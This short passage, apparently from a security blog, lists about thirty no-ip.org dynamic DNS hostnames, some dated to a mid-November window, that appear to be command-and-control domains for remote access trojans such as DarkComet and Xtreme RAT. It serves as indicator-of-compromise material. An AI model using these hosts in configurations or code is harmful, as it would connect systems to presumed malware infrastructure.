darkcometx.no-ip.org

dark-sam.no-ip.org

victima123.no-ip.org

z-666.no-ip.org

fzlmo0s3.no-ip.org

tounsi-vip.no-ip.org

 

Between Nov 16 – 19:

helli1.no-ip.org

shootersiker.no-ip.org

adsll.no-ip.org

slow-v4.no-ip.org

bolinha2012.no-ip.org

6avhosts.no-ip.org

gandhihaxx.no-ip.org

kareemsql.no-ip.org

thedarkdkpiteur.no-ip.org

norhdsss.no-ip.org

xtremecheese.no-ip.org

froozen.no-ip.org

xxtreme.no-ip.org

x-treme.no-ip.org

ohgkm.no-ip.org

hackers1337x.no-ip.org

smoke1.no-ip.org

n00bz0r.no-ip.org

drico-drica.no-ip.org

shades16.no-ip.org

wkrldi132.no-ip.org

6blackhatt.no-ip.org

khabran.no-ip.org

6serverstatus11.no-ip.org

celsodns.no-ip.org

 

 

 

Go Back In Time →